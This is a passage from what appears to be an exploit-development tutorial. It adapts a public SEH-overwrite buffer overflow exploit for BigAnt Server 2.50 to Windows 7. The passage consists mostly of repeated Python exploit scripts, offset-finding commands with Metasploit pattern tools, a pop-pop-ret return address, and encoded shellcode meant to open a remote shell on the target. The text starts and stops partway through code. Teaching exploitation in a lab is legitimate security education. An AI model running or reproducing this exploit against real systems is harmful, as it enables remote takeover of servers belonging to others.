<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>36&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
payload = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">985</span>        <span style="color: #808080; font-style: italic;"># seh overwritten at 989</span>
next_seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span>   <span style="color: #808080; font-style: italic;"># short jump 6 bytes</span>
seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>9a<span style="color: #000099; font-weight: bold;">\x</span>0f&quot;</span>    <span style="color: #808080; font-style: italic;"># p/p/r from vbajet32.dll</span>
nops = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">10</span>        <span style="color: #808080; font-style: italic;"># nop sled</span>
sc = shellcode            <span style="color: #808080; font-style: italic;"># 710 bytes available for shellcode</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] BigAnt Server v2.50 SEH Overwrite 0day&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Written and discovered by Blake&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Tested on Windows XP SP3<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connecting to %s on port %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span>
s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">try</span>:
   s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">except</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[x] Error establishing connection<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Sending payload&quot;</span>
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;GET &quot;</span> + payload + next_seh + seh + nops + sc + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connect to bind shell on port 4444<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># milw0rm.com [2009-09-15]</span></pre></div></div>

<p>Our goal is to make it work for Windows 7. With simple fixes we can adapt it to our needs and at the same time understand how to exploit a BOF with the SEH technique. Just like in the first tutorial, we calculate the offset:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:/var/www/bigant# /pentest/exploits/framework3/tools/pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
[ snip ]</pre></div></div>

<p>And we put it in the exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #808080; font-style: italic;"># BigAnt Server version 2.50 SEH Overwrite - 0day</span>
<span style="color: #808080; font-style: italic;"># Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ ./bigant.py 192.168.1.131 6660</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [*] BigAnt Server v2.50 SEH Overwrite 0day</span>
<span style="color: #808080; font-style: italic;"># [*] Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># [*] Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [+] Connecting to 192.168.1.131 on port 6660</span>
<span style="color: #808080; font-style: italic;"># [+] Sending payload</span>
<span style="color: #808080; font-style: italic;"># [+] Connect to bind shell on port 4444</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ nc 192.168.1.131 4444</span>
<span style="color: #808080; font-style: italic;"># Microsoft Windows XP [Version 5.1.2600]</span>
<span style="color: #808080; font-style: italic;"># (C) Copyright 1985-2001 Microsoft Corp.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># C:\WINDOWS\system32&amp;gt;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>, <span style="color: #dc143c;">sys</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">3</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] Usage: %s <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
host = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
port = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>     <span style="color: #808080; font-style: italic;"># port 6660 by default</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed</span>
<span style="color: #808080; font-style: italic;"># EXITFUNC=seh, LPORT=4444, RHOST=</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
payload = <span style="color: #483d8b;">&quot;Aa0Aa1Aa2A...&quot;</span>
next_seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span>   <span style="color: #808080; font-style: italic;"># short jump 6 bytes</span>
seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>9a<span style="color: #000099; font-weight: bold;">\x</span>0f&quot;</span>    <span style="color: #808080; font-style: italic;"># p/p/r from vbajet32.dll</span>
nops = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">10</span>        <span style="color: #808080; font-style: italic;"># nop sled</span>
sc = shellcode            <span style="color: #808080; font-style: italic;"># 710 bytes available for shellcode</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] BigAnt Server v2.50 SEH Overwrite 0day&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Written and discovered by Blake&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Tested on Windows XP SP3<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connecting to %s on port %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span>
s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">try</span>:
   s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">except</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[x] Error establishing connection<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Sending payload&quot;</span>
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;GET &quot;</span> + payload + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connect to bind shell on port 4444<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># milw0rm.com [2009-09-15]</span></pre></div></div>

<p>We attach BigAnt to OllyDbg and launch the exploit.<br />
Obviously the application crashes, but in &#8220;view&#8221; -&gt; &#8220;seh chain&#8221; we can see the value about SEH (30684239 in my case). Now we can calculate the exact offset for Windows 7:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">/pentest/exploits/framework3/tools/pattern_offset.<span style="color: black;">rb</span> <span style="color: #ff4500;">30684239</span> <span style="color: #ff4500;">5000</span>
<span style="color: #ff4500;">989</span></pre></div></div>

<p>This means that the SEH will be overwritten after exactly 989 bytes and the NEXT SEH after 985 (989-4).</p>
<p>So the exploit will be like this:<br />
<strong>[985 bytes of payload] [NEXT SEH] [SEH] [nops] [shellcode]</strong>.</p>
<p>NEXT SEH will be overwritten with the address &#8220;\xeb\x06\x90\x90&#8243;, an unconditional jump of 6 bytes to point to the nops at the beginning of the shellcode, and the SEH will be overwritten with an address that points to a pop pop ret opcode. This is because when an exception occurs, the dispatcher creates its own frame on the stack. In this frame the NEXT SEH is at ESP +8. So to overwrite it will be necessary a pop pop ret opcode which pushes 8 bytes out from the stack and gets the current value from the stack (top ESP) and puts it in the EIP.<br />
This opcode can be found and exploited in the VBAJET32.dll with &#8220;0F9A19CD” address. So the new exploit will be as the following:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #808080; font-style: italic;"># BigAnt Server version 2.50 SEH Overwrite - 0day</span>
<span style="color: #808080; font-style: italic;"># Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ ./bigant.py 192.168.1.131 6660</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [*] BigAnt Server v2.50 SEH Overwrite 0day</span>
<span style="color: #808080; font-style: italic;"># [*] Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># [*] Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [+] Connecting to 192.168.1.131 on port 6660</span>
<span style="color: #808080; font-style: italic;"># [+] Sending payload</span>
<span style="color: #808080; font-style: italic;"># [+] Connect to bind shell on port 4444</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ nc 192.168.1.131 4444</span>
<span style="color: #808080; font-style: italic;"># Microsoft Windows XP [Version 5.1.2600]</span>
<span style="color: #808080; font-style: italic;"># (C) Copyright 1985-2001 Microsoft Corp.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># C:\WINDOWS\system32&gt;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>, <span style="color: #dc143c;">sys</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">3</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] Usage: %s <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
host = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
port = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>     <span style="color: #808080; font-style: italic;"># port 6660 by default</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed</span>
<span style="color: #808080; font-style: italic;"># EXITFUNC=seh, LPORT=4444, RHOST=</span>
shellcode=<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">2000</span><span style="color: black;">&#41;</span>
&nbsp;
payload = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">985</span>        <span style="color: #808080; font-style: italic;"># seh overwritten at 989</span>
next_seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span>   <span style="color: #808080; font-style: italic;"># short jump 6 bytes</span>
seh = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>9a<span style="color: #000099; font-weight: bold;">\x</span>0f&quot;</span>    <span style="color: #808080; font-style: italic;"># 0F9A19CD p/p/r from vbajet32.dll</span>
nops = <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">10</span>        <span style="color: #808080; font-style: italic;"># nop sled</span>
sc = shellcode            <span style="color: #808080; font-style: italic;"># 710 bytes available for shellcode</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] BigAnt Server v2.50 SEH Overwrite 0day&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Written and discovered by Blake&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[*] Tested on Windows XP SP3<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connecting to %s on port %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span>
s = <span style="color: #dc143c;">socket</span>.<span style="color: #dc143c;">socket</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">socket</span>.<span style="color: black;">AF_INET</span>, <span style="color: #dc143c;">socket</span>.<span style="color: black;">SOCK_STREAM</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">try</span>:
   s.<span style="color: black;">connect</span><span style="color: black;">&#40;</span><span style="color: black;">&#40;</span>host,port<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">except</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[x] Error establishing connection<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Sending payload&quot;</span>
s.<span style="color: black;">send</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;GET &quot;</span> + payload + next_seh + seh + nops + sc + <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: black;">&#41;</span>
s.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[+] Connect to bind shell on port 4444<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># milw0rm.com [2009-09-15]</span></pre></div></div>

<p>Running OllyDbg and setting a breakpoint in the address of pop pop ret &#8220;0F9A19CD&#8221; we realize that the application reaches this address (if not it means that we have done something wrong), and after the jump reaches the shellcode.<br />
At this point you can replace the shellcode with something more interesting such as a reverse shell tcp:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #808080; font-style: italic;"># BigAnt Server version 2.50 SEH Overwrite - 0day</span>
<span style="color: #808080; font-style: italic;"># Written and discovered by Blaked</span>
<span style="color: #808080; font-style: italic;"># Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ ./bigant.py 192.168.1.131 6660</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [*] BigAnt Server v2.50 SEH Overwrite 0day</span>
<span style="color: #808080; font-style: italic;"># [*] Written and discovered by Blake</span>
<span style="color: #808080; font-style: italic;"># [*] Tested on Windows XP SP3</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># [+] Connecting to 192.168.1.131 on port 6660</span>
<span style="color: #808080; font-style: italic;"># [+] Sending payload</span>
<span style="color: #808080; font-style: italic;"># [+] Connect to bind shell on port 4444</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># $ nc 192.168.1.131 4444</span>
<span style="color: #808080; font-style: italic;"># Microsoft Windows XP [Version 5.1.2600]</span>
<span style="color: #808080; font-style: italic;"># (C) Copyright 1985-2001 Microsoft Corp.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># C:\WINDOWS\system32&gt;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">socket</span>, <span style="color: #dc143c;">sys</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">!</span>= <span style="color: #ff4500;">3</span>:
   <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>[*] Usage: %s <span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
   <span style="color: #dc143c;">sys</span>.<span style="color: black;">exit</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>
&nbsp;
host = <span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">1</span><span style="color: black;">&#93;</span>
port = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">sys</span>.<span style="color: black;">argv</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>     <span style="color: #808080; font-style: italic;"># port 6660 by default</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed</span>
<span style="color: #808080; font-style: italic;"># EXITFUNC=seh, LPORT=4444, RHOST=</span>
shellcode=<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>5d<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span>
